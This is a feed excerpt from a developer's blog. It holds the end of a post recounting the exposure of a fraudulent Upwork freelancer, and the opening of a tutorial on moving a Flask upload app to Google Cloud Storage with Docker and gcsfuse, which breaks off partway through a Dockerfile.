&lt;p>Not to sound like a &lt;a href="https://en.wikipedia.org/wiki/Barack_Obama_citizenship_conspiracy_theories">birther&lt;/a>, but between the Kenyan name and the Kenyan time zone, it seemed like &amp;ldquo;Lizzie&amp;rdquo; might, in fact, be Kenyan.&lt;/p>
&lt;h2 id="what-about-that-profile">What about that profile?&lt;/h2>
&lt;p>I took another look at the Upwork profile that led me to hire Lizzie in the first place. A few Google searches showed that Lizzie had plagiarized the whole thing — it was a mashup of a &lt;a href="https://www.linkedin.com/in/laraflanagan/">LinkedIn profile&lt;/a> and another &lt;a href="https://www.upwork.com/o/profiles/users/_~017434da88fc78860a/">profile right from Upwork&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/upwork-scammer/profile-stitching.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/profile-stitching_hu_b892349d5fee23f0.png 300w, https://mtlynch.io/upwork-scammer/profile-stitching_hu_9724feaa2d549dc3.png 600w, https://mtlynch.io/upwork-scammer/profile-stitching_hu_11d96b2f95bfc798.png 800w, https://mtlynch.io/upwork-scammer/profile-stitching_hu_9afd1b824044a11e.png 1200w, https://mtlynch.io/upwork-scammer/profile-stitching.png 2237w'
 src="https://mtlynch.io/upwork-scammer/profile-stitching.png" alt="Sources from which Lizzie stole her profile" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Lizzie created her profile by stitching together two others&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="is-this-a-trick">Is this a trick?&lt;/h2>
&lt;p>The scam seemed so clumsy and obvious that I feared it was step one of a more elaborate con. Why upload screenshots proving she didn&amp;rsquo;t do the work when she could have just sent me a regular invoice for $50? And then why bill me and withhold the reports? Naturally, that would prompt me to check the screenshot history.&lt;/p>
&lt;p>In movies, the con-man always lets their victim &lt;em>think&lt;/em> that they&amp;rsquo;ve uncovered the scam, but allowing the victim to expose the dummy fraud is all part of the &lt;em>actual&lt;/em> fraud. Then, just as they believe they&amp;rsquo;ve gained the upper hand, the victim falls face-first into the real scam. Was there another layer of deceit here?&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/upwork-scammer/oceans-eleven.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/oceans-eleven_hu_1792d862302c557e.jpg 300w, https://mtlynch.io/upwork-scammer/oceans-eleven_hu_c5e53978cb102d4.jpg 600w, https://mtlynch.io/upwork-scammer/oceans-eleven_hu_d574440294249785.jpg 800w, https://mtlynch.io/upwork-scammer/oceans-eleven_hu_eb76b5b6f5f1502a.jpg 1200w, https://mtlynch.io/upwork-scammer/oceans-eleven.jpg 1202w'
 src="https://mtlynch.io/upwork-scammer/oceans-eleven.jpg" alt="Still of George Clooney in Ocean&amp;#39;s Eleven" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>“I've locked Danny Ocean in a room next to my vault and paid his friend to guard him. Now he can &lt;em>never&lt;/em> heist me!”&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="how-did-upwork-miss-this">How did Upwork miss this?&lt;/h2>
&lt;p>It struck me that Upwork forces freelancers to install invasive spyware, presumably to catch fraud, yet they ignored many huge indicators of fraud:&lt;/p>
&lt;ul>
&lt;li>Two freelancers used the same computer and IP while claiming to be in cities 2,000 miles apart.&lt;/li>
&lt;li>Two freelancers had exactly identical profiles.&lt;/li>
&lt;li>A freelancer plagiarized large sections of their profile from a more established user on the same site.&lt;/li>
&lt;li>Both freelancers claim to live in the US but have their clocks set to Nairobi time and likely have Kenyan IP addresses.&lt;/li>
&lt;/ul>
&lt;h2 id="results-finally">Results, finally&lt;/h2>
&lt;p>As soon as I saw the screenshots, I closed the contract and reported the fraud to Upwork. Lizzie saw the contract end but was not privy to any of my comments about her.&lt;/p>
&lt;p>The next day, Lizzie messaged me asking why I closed the contract. She made no mention of the unusual hours she billed me, but she attached a Word document containing my three completed reports.&lt;/p>
&lt;p>This was her report on whether Coca-Cola is compatible with the keto diet:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Coca-Cola&lt;/strong>&lt;/p>
&lt;p>&lt;strong>&lt;em>Short Description&lt;/em>&lt;/strong>&lt;/p>
&lt;p>Coca Cola is not keto because it contains high sugar content and not fats.&lt;/p>
&lt;p>&lt;strong>&lt;em>Detailed Description&lt;/em>&lt;/strong>&lt;/p>
&lt;p>According to the nutritional value of Coca Cola, it is not keto-friendly. It has 10.6 g of net carbs
for every serving &lt;strong>[Ed: Actual net carb count is 39 g]&lt;/strong>. In addition, it has no fat and protein content. Perhaps, you can consider other
variations of Coca Cola like Coke Zero or the Diet Coke.&lt;/p>&lt;/blockquote>
&lt;p>The grammar was decent, but it further confirmed Lizzie was not a native speaker. The loudest giveaway was the definite article before &amp;ldquo;Diet Coke.&amp;rdquo; Americans never say, &amp;ldquo;I&amp;rsquo;d love a refreshing glass of &lt;strong>the&lt;/strong> Diet Coke.&amp;rdquo;&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 270px">



 &lt;a href="https://mtlynch.io/upwork-scammer/three-glasses.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 270px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/three-glasses_hu_c45ac8f1e356f613.jpg 300w, https://mtlynch.io/upwork-scammer/three-glasses.jpg 342w'
 src="https://mtlynch.io/upwork-scammer/three-glasses.jpg" alt="Still of Inglorious Basterds bar shootout scene" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&amp;ldquo;Three glasses of the Diet Coke, please.&amp;rdquo;&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="how-upwork-handles-fraud">How Upwork handles fraud&lt;/h2>
&lt;p>Two days after I reported Lizzie&amp;rsquo;s account as fraudulent, Upwork closed my support ticket with this note:&lt;/p>
&lt;blockquote>
&lt;p>Based on your report, I have examined the account and taken action as defined in our Terms of Service. In order to protect the confidentiality of all of our members’ accounts, I won’t be able to report back with the outcome of our investigation.&lt;/p>&lt;/blockquote>
&lt;p>Won&amp;rsquo;t be able to report the outcome? I expected them to close all of Lizzie&amp;rsquo;s fake accounts, an outcome that should be highly visible to me.&lt;/p>
&lt;p>It has now been three weeks since I reported Lizzie to Upwork. The profiles went private a few days after my report, but Upwork still shows them as active and accepting job offers:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.upwork.com/o/profiles/users/_~019b8bbe4e49ebe61c/">Lizzie Ruprecht&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.upwork.com/o/profiles/users/_~012951f3927669080e">Abi Hensley&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Upwork did refund my $50, which was nice.&lt;/p>
&lt;h2 id="why-isnt-my-feedback-showing-up">Why isn&amp;rsquo;t my feedback showing up?&lt;/h2>
&lt;p>In my post-job feedback for Lizzie, I called out her profile as fraudulent. I was careful to avoid any accusations based on speculation. My review focused on objective facts: Lizzie billed me for unrelated work, and her Work Diary revealed that she was operating duplicate Upwork profiles.&lt;/p>
&lt;p>Curiously, Upwork translated this into, &amp;ldquo;No feedback given&amp;rdquo;:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 697px">



 &lt;a href="https://mtlynch.io/upwork-scammer/lizzie-feedback.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 697px, 98vw"
 srcset='https://mtlynch.io/upwork-scammer/lizzie-feedback_hu_422ebb2924d533ce.jpg 300w, https://mtlynch.io/upwork-scammer/lizzie-feedback_hu_e357125a5d310eef.jpg 600w, https://mtlynch.io/upwork-scammer/lizzie-feedback.jpg 697w'
 src="https://mtlynch.io/upwork-scammer/lizzie-feedback.jpg" alt="Upwork shows I left no feedback for Lizzie" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Upwork hides my comments about Lizzie&amp;rsquo;s fraudulent account in her Upwork profile.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>&lt;strong>Update&lt;/strong>: &lt;a href="https://www.reddit.com/r/Upwork/comments/a9zsj6/what_i_learned_about_upwork_from_a_bumbling/eco5p6y/?st=jq7drkdw&amp;amp;sh=85d5b50b">Commenters on reddit&lt;/a> pointed out that Upwork always hides client feedback after approving a refund for the job.&lt;/p>
&lt;h2 id="warning-other-clients">Warning other clients&lt;/h2>
&lt;p>The day I discovered Lizzie&amp;rsquo;s shenanigans, I contacted one of her other clients. He had hired Lizzie through her &amp;ldquo;Abi&amp;rdquo; profile to write sales copy. He responded that he was still awaiting work from her but followed up with me a few days later to say he terminated her contract as well.&lt;/p>
&lt;p>Tellingly, Upwork never notified this client of the fraud even though they had &amp;ldquo;examined the account and taken action&amp;rdquo; while he still had an open contract with Lizzie/Abi.&lt;/p>
&lt;h2 id="upworks-cross-contamination-problem">Upwork&amp;rsquo;s cross-contamination problem&lt;/h2>
&lt;p>Upwork client lists are private, so I shouldn&amp;rsquo;t be able to contact one of my freelancer&amp;rsquo;s other clients. But Lizzie bled enough information into her screenshots that I found contact information for the other guy who hired her.&lt;/p>
&lt;p>This brings up another interesting problem with Upwork&amp;rsquo;s Work Diary feature: cross-contamination.&lt;/p>
&lt;p>What if a freelancer applied to work for you and ended their cover letter with this note:&lt;/p>
&lt;blockquote>
&lt;p>By the way, I routinely run software that sends captures of my entire screen to undisclosed third-parties. Hope you&amp;rsquo;re cool with that!&lt;/p>&lt;/blockquote>
&lt;p>You&amp;rsquo;d probably reject this candidate immediately. But that&amp;rsquo;s what every Upwork user says implicitly if they track their time with Work Diary.&lt;/p>
&lt;p>As the client, there&amp;rsquo;s nothing you can do to prevent this. Clients can either require their freelancers to use Work Diary or make it optional, but there&amp;rsquo;s no option to forbid it. Even if you could, other clients might still require it.&lt;/p>
&lt;p>If a freelancer you hired ever happens to check messages from you while billing for another client or leave open a window containing your work, Work Diary will leak your private information to several additional parties. These kinds of leaks are unavoidable with automatic, whole-screen captures.&lt;/p>
&lt;h2 id="final-thoughts">Final thoughts&lt;/h2>
&lt;p>This experience has shown me some of Upwork&amp;rsquo;s warts. On the one hand, they missed many red flags that I expect them to catch and did little to prevent continued abuse. On the other hand, it does say something that this is the first time I&amp;rsquo;ve hired a fraudster in all my years on Upwork.&lt;/p>
&lt;p>While I&amp;rsquo;ve never been in love with Upwork, alternative platforms like Fiverr or Freelancer.com have been even worse for me. I&amp;rsquo;ll continue using Upwork, but this episode has given me another reason to be conservative about granting freelancers access to private data.&lt;/p></content:encoded></item><item><title>Retrofitting Apps for Cloud Storage with Zero Code Changes</title><link>https://mtlynch.io/retrofit-docker-gcs/</link><pubDate>Tue, 04 Dec 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrofit-docker-gcs/</guid><description>&lt;p>I recently installed a media sharing app to one of my servers. It was simple to install, but it hid a dastardly trap for long-term maintenance.&lt;/p>
&lt;p>Every time a user uploaded a file, the web app saved it to the local filesystem. If I ever blew away the server and rebuilt it, I&amp;rsquo;d have to backup and restore every file manually. The better architecture would be for the app to write its files to a separate storage server, but I didn&amp;rsquo;t want to spend months rewriting the app to make that possible.&lt;/p></description><content:encoded>&lt;p>I recently installed a media sharing app to one of my servers. It was simple to install, but it hid a dastardly trap for long-term maintenance.&lt;/p>
&lt;p>Every time a user uploaded a file, the web app saved it to the local filesystem. If I ever blew away the server and rebuilt it, I&amp;rsquo;d have to backup and restore every file manually. The better architecture would be for the app to write its files to a separate storage server, but I didn&amp;rsquo;t want to spend months rewriting the app to make that possible.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/naive-vs-desired.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/naive-vs-desired_hu_5bf47faf233528b7.jpg 300w, https://mtlynch.io/retrofit-docker-gcs/naive-vs-desired_hu_711fd08e3b175320.jpg 600w, https://mtlynch.io/retrofit-docker-gcs/naive-vs-desired_hu_c0ee1e56c6422694.jpg 800w, https://mtlynch.io/retrofit-docker-gcs/naive-vs-desired.jpg 1024w'
 src="https://mtlynch.io/retrofit-docker-gcs/naive-vs-desired.jpg" alt="Naive architecture vs desired architecture" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Using Docker, Google Cloud Storage, and the &lt;a href="https://github.com/GoogleCloudPlatform/gcsfuse">gcsfuse&lt;/a> utility, I achieved this separation without changing a single line of the app&amp;rsquo;s code.&lt;/p>
&lt;p>In this tutorial, I&amp;rsquo;ll show you how to retrofit legacy apps for Google Cloud Storage while minimizing source changes.&lt;/p>
&lt;h2 id="defining-terms">Defining terms&lt;/h2>
&lt;p>If you&amp;rsquo;re unfamiliar with Google Cloud Platform, here are a few abbreviations to know for this tutorial:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Abbreviation&lt;/th>
 &lt;th>Stands for&lt;/th>
 &lt;th>What is it?&lt;/th>
 &lt;th>Similar to&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;strong>GCS&lt;/strong>&lt;/td>
 &lt;td>Google Cloud Storage&lt;/td>
 &lt;td>Google&amp;rsquo;s cloud storage service&lt;/td>
 &lt;td>Amazon S3&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>GCE&lt;/strong>&lt;/td>
 &lt;td>Google Compute Engine&lt;/td>
 &lt;td>Google&amp;rsquo;s on-demand virtual machine service&lt;/td>
 &lt;td>Amazon EC2&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>GCR&lt;/strong>&lt;/td>
 &lt;td>Google Container Registry&lt;/td>
 &lt;td>Google&amp;rsquo;s hosting service for Docker images&lt;/td>
 &lt;td>Docker Hub&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>GCP&lt;/strong>&lt;/td>
 &lt;td>Google Cloud Platform&lt;/td>
 &lt;td>Google&amp;rsquo;s cloud computing platform (GCS, GCE, and GCR are all parts of GCP)&lt;/td>
 &lt;td>Amazon Web Services or Microsoft Azure&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>













 















&lt;div class="img" style="max-width: 260px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/docker-logo.png">
 &lt;img
 
 sizes="(min-width: 768px) 260px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/docker-logo.png 260w'
 src="https://mtlynch.io/retrofit-docker-gcs/docker-logo.png" alt="Docker logo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>&lt;strong>Docker&lt;/strong> allows developers to build self-contained environments for an application that run anywhere:&lt;/p>
&lt;ul>
&lt;li>A &lt;strong>Docker image&lt;/strong> is the set of all files needed to run an app, including the operating system and all third-party dependencies.&lt;/li>
&lt;li>A &lt;strong>Docker container&lt;/strong> is the live environment in which a Docker image executes.&lt;/li>
&lt;/ul>
&lt;p>For this tutorial, you can think of Docker containers as lightweight virtual machines even though that&amp;rsquo;s technically &lt;a href="https://blog.docker.com/2016/03/containers-are-not-vms/">not what they are&lt;/a>.&lt;/p>
&lt;h2 id="prerequisites">Prerequisites&lt;/h2>
&lt;p>To follow along with my examples, you&amp;rsquo;ll need the following:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://cloud.google.com/sdk/install">Google Cloud SDK&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.docker.com/">Docker&lt;/a> (the free &lt;a href="https://store.docker.com/search?offering=community&amp;amp;type=edition">Community Edition&lt;/a> is fine)&lt;/li>
&lt;/ul>
&lt;h2 id="my-example-app">My example app&lt;/h2>
&lt;p>I created an &lt;a href="https://github.com/mtlynch/flask_upload_demo">example project&lt;/a> for this tutorial. It&amp;rsquo;s a dead simple web app based on the Flask framework&amp;rsquo;s &lt;a href="https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/">upload documentation&lt;/a>.&lt;/p>
&lt;p>To run it, enter the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>git clone https://github.com/mtlynch/flask_upload_demo.git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> flask_upload_demo
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo pip install -r requirements.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gunicorn &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> demo.app:app &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --bind 0.0.0.0:5000
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The app lets you choose a file and upload it:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 685px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/flask-app1.png">
 &lt;img
 
 sizes="(min-width: 768px) 685px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/flask-app1_hu_6f18d67b6ad26694.png 300w, https://mtlynch.io/retrofit-docker-gcs/flask-app1_hu_e7c62005647f2fb5.png 600w, https://mtlynch.io/retrofit-docker-gcs/flask-app1.png 685w'
 src="https://mtlynch.io/retrofit-docker-gcs/flask-app1.png" alt="Screenshot of demo app landing page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Upload page of flask-upload-demo&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Then, it serves the file permanently at the URL &lt;code>http://[server address]:5000/uploads/[filename]&lt;/code>:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 685px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/flask-app2.png">
 &lt;img
 
 sizes="(min-width: 768px) 685px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/flask-app2_hu_980dda609b3d6b11.png 300w, https://mtlynch.io/retrofit-docker-gcs/flask-app2_hu_60f751e189d14b85.png 600w, https://mtlynch.io/retrofit-docker-gcs/flask-app2.png 685w'
 src="https://mtlynch.io/retrofit-docker-gcs/flask-app2.png" alt="Screenshot of demo app upload result" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>flask-upload-demo serving an uploaded image&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>From within the server, you can see that the app saved the file to the &lt;code>demo/uploads&lt;/code> folder of its local filesystem:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ls -l demo/uploads/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-rw-r-- &lt;span style="color:#3677a9">1&lt;/span> mike mike &lt;span style="color:#3677a9">230720&lt;/span> Nov &lt;span style="color:#3677a9">24&lt;/span> 21:45 Space_Duck_Desktop_RGB_PNG.png
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="dockerizing-the-example-app">Dockerizing the example app&lt;/h2>
&lt;p>Because this app only has a few simple dependencies, it&amp;rsquo;s easy to create a Docker image for it:&lt;/p>
&lt;h3 id="dockerfile">&lt;code>Dockerfile&lt;/code>&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>FROM debian:stretch
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN apt-get update
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN apt-get install --yes &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> git-core &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> python &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> python-pip &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> python-virtualenv
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Create demo user system account.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ARG &lt;span style="color:#40ffff">APP_USER&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;demo-user&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ARG &lt;span style="color:#40ffff">APP_GROUP&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;demo-user&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ARG &lt;span style="color:#40ffff">APP_HOME_DIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/home/demo-user&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN &lt;span style="color:#24909d">set&lt;/span> -x &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> groupadd &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_GROUP&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> useradd &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --comment &lt;span style="color:#ed9d13">&amp;#34;Demo app system account&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --home-dir &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_HOME_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --create-home &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --system &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --gid &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_GROUP&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_USER&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Create directory for app source code.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ARG &lt;span style="color:#40ffff">APP_ROOT&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/srv/demo-app&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN mkdir --parents &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_ROOT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> chown &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --no-dereference &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --recursive &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">APP_USER&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">APP_GROUP&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_ROOT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>USER &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_USER&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>WORKDIR &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_ROOT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Install demo app.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ARG &lt;span style="color:#40ffff">DEMO_APP_REPO&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;https://github.com/mtlynch/flask_upload_demo&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN &lt;span style="color:#24909d">set&lt;/span> -x &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> git clone &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$DEMO_APP_REPO&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> . &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> virtualenv VIRTUAL &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> . VIRTUAL/bin/activate &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> pip install --requirement requirements.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>EXPOSE &lt;span style="color:#3677a9">5000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Run demo app.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ENV FLASK_APP &lt;span style="color:#ed9d13">&amp;#34;demo/app.py&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>CMD virtualenv VIRTUAL &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> . VIRTUAL/bin/activate &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> gunicorn &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> demo.app:app &lt;span style="color:#ed9d13">\
